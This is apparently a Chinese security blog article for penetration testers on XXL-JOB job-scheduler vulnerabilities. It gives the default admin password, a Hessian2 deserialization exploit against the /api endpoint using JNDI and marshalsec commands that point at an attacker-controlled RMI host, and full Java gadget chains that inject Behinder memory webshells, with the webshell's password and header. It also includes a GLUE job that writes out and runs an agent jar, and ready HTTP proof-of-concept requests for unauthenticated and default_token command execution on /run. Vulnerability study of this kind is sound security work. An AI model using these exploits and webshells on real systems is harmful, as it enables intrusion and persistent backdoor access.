XXL-JOB安全漏洞分析

原创 l2sec 2024-04-02 18:01 北京

XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。

一、前言

在当今的数字化时代，任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务，确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。然而，随着其应用的普及，安全研究人员开始关注这些系统可能存在的潜在风险，一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞，以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台，设计宗旨是实现任务的快速开发、简易学习和轻量级部署，同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成，它们通过网络进行通信，实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置，而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说，XXL-JOB就像一个超级强大的闹钟，但它不仅仅能设定固定的时间响铃，还能根据复杂的规则和条件来触发任务。想象一下，你有一个任务需要每天早上8点执行，另外一个任务需要在每月的第1天晚上12点执行，还有任务是基于某些特定事件触发的，比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手，它可以帮你设定这些任务，并且确保它们在正确的时间得到执行。它有以下几个关键特点：

容器化：提供官方docker镜像，并实时更新推送dockerhub，进一步实现产品开箱即用。

脚本任务：支持以GLUE模式开发和运行脚本任务，包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

动态：支持动态修改任务状态、启动/停止任务，以及终止运行中任务，即时生效。

Rolling实时日志：支持在线查看调度结果，并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档：

https://www.xuxueli.com/xxl-job/

源码结构：

Plain Text

xxl-job-admin：调度中心

xxl-job-core：公共依赖

xxl-job-executor-samples：执行器Sample示例（选择合适的版本执行器，可直接使用，也可以参考其并将现有项目改造成执行器）

：xxl-job-executor-sample-springboot：Springboot版本，通过Springboot管理执行器，推荐这种方式；

：xxl-job-executor-sample-frameless：无框架版本；

这里我采用docker进行搭建，可参考：基于docker的分布式任务调度系统xxl-job搭建，注意这里我们搭建有漏洞的版本，我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下：

Bash
# 安装mysql
docker pull mysql
# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -v /opt:/opt mysql --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
# 刷新权限
flush privileges;
# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;
# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;
# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2
# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功，显示如下：

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

默认账号密码：admin/123456。

4.2 Hessian反序列化

4.2.1 漏洞复现

4.2.1.1 出网利用

影响版本：XXL-JOB <= 2.0.2

漏洞原理：/api接口存在Hessian2反序列化漏洞

漏洞复现：

访问/api接口存在如下报错响应，则存在漏洞。

这里测试使用的是jdk11，所以需要bypass高版本的限制，这里启动JNDI服务：

Bash
# 工具地址：https://github.com/welk1n/JNDI-Injection-Exploit，可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

生成恶意序列化数据：

Bash
# 工具地址：https://github.com/mbechler/marshalsec，有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

burp发送有问题，这里使用curl发送：

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功：

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链，可以达到反射调用静态方法。测试jdk1.8成功，jdk9版本开始，删除了rt.jar，下面测试注入内存马。

方式一：defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码，实现内存马注入，使用JMG工具（https://github.com/pen4uin/java-memshell-generator-release）生成内存马，代码参考：https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html

代码需要修改的地方有：

bcode的值为生成的BASE64格式的内存马

注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
public class hessian_demo_main {
    static SerializerFactory serializerFactory = new SerializerFactory();
    static byte[] bcode;
    static {
        try {
            // 修改下面bcode为实际生成的BASE64格式的内存马
            bcode = Base64.decode("yv66vg...AAAAAgCi");
        } catch (Base64DecodingException e) {
            throw new RuntimeException(e);
        }
    }
    public static void main(String[] args) throws Exception {
        serializerFactory.setAllowNonSerializable(true);
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Object unsafe = f.get(null);
        // 修改下面HttpClientUtil为实际生成内存马的类名
        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
        // 修改下面HttpClientUtil为实际生成内存马的类名
        SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
        Object[] keyValueList = new Object[]{"abc", swingLazyValue};
        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
        readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
*            nodeC = Class.forName("java.util.HashMap**$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$*Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }
    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

再通过curl发包即可：

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二：XSLT触发defineClass加载字节码

代码参考：https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%E5%88%A9%E7%94%A8%E4%BA%94%E8%90%BD%E7%9B%98xslt%E5%B9%B6%E5%8A%A0%E8%BD%BD

修改两个地方：

base64_payload为要注入的BASE64格式的内存马

class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import static com.qt.test.hessian_demo_main.serializerFactory;
public class hessian_demo_two {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    <xsl:template match=\"/\">\n" +
                "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
                "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
                "      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
                "      <xsl:value-of select=\"$rce\"/>\n" +
                "    </xsl:template>\n" +
                " </xsl:stylesheet>";
        String base64Code = "yv66vg...AAAAAgCi";
        serializerFactory.setAllowNonSerializable(true);
        String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
        SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
        SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});
        Object[] keyValueList = new Object[]{"abc", value1};
        Object[] keyValueList1 = new Object[]{"ccc", value2};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
         readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }
    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

环境：jdk1.8，这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

4.2.2 漏洞分析

找到触发/api路由的方法，位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest，其中readBytes(request)方法获取请求体的数据，然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程：

4.3 后台命令执行

4.3.1 漏洞复现

测试环境：2.1.2（2.0.2版本powershell脚本测试执行失败），需要启动执行器，新增一个powershell脚本任务：

添加完成后，编辑GLUE，插入要执行的命令。

点击执行一次，然后点击查询调度日志，执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马，因为没有上传点，需要写一个agent马进去，测试环境：jdk1.8，先准备好agent内存马，然后将其base64编码后分割再拼接：

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Base64FileSplit {
    public static void main(String[] args) {
        File file = new File("E:\\Agent-1.0.jar");
        FileOutputStream fos = null;
        try {
            fos = new FileOutputStream("split_base64_output.txt");
            byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
            int bytesRead;
            // 读取文件并转换为Base64字符串
            FileInputStream fis = new FileInputStream(file);
            byte[] fileContent = new byte[(int) file.length()];
            fis.read(fileContent);
            String base64String = Base64.getEncoder().encodeToString(fileContent);
            // 分割Base64字符串并写入到文件
            for (int i = 0; i < base64String.length(); i += 1000) {
                String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
                fos.write(line.getBytes());
                fos.write("\n".getBytes());
            }
            System.out.println("Base64字符串已成功分割并写入到文件中.");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (fos != null) {
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

生成拼接的字符串。

添加一个java脚本的任务，再编辑代码。

修改代码为如下：

Java
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
        @Override
        public ReturnT<String> execute(String param) throws Exception {
                saveJarAndEx();
                return ReturnT.SUCCESS;
        }
  public static void saveJarAndEx() {
        StringBuilder sb = new StringBuilder();
        // 拼接的base64字符串
      sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
        ...
        ....
        ...
sb.append("...DQAAAA==");
// Base64解码
        String base64String = sb.toString();
        byte[] decodedBytes = Base64.getDecoder().decode(base64String);
        // 保存agent jar
        File jarFile = new File("test1.jar");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
            fileOutputStream.write(decodedBytes);
            fileOutputStream.close();
            // 执行jar
            ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

执行任务，就可在控制台中看到注入成功。

冰蝎连接：

4.3.2 漏洞分析

执行任务的路由为：/jobinfo/trigger，对应的源码为：com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法：

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器（9999端口启动的），并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值，这里传入的是powershell，进入到如下if，初始化一个ScriptJobHandler，并放入到队列中。

接着通过任务线程执行handler：com.xxl.job.core.handler.impl.ScriptJobHandler#execute，在execute方法中，会将要执行的powershell脚本内容保存到一个后缀psl的文件中，并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如：shell，java同理，根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行

4.4.1 漏洞复现

影响版本：XXL-JOB <= 2.2.0

漏洞原理：/run接口触发执行器执行脚本，acessToken为空绕过鉴权。

漏洞复现：

Executor默认是监听在9999端口，和后台执行任务导致的命令执行一样，只不过这里直接未授权请求Executor去触发脚本执行，测试版本：2.2.0，通过powershell执行。

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken，由于在 <= 2.2.0时，accessToken值默认为空，所以accessToken.trim().length() > 0为false，即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本：XXL-JOB <= 2.4.0

漏洞原理：用于调度通讯的 accessToken 为默认值default_token。

漏洞复现：

添加请求头，直接通过/run接口触发命令执行：

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}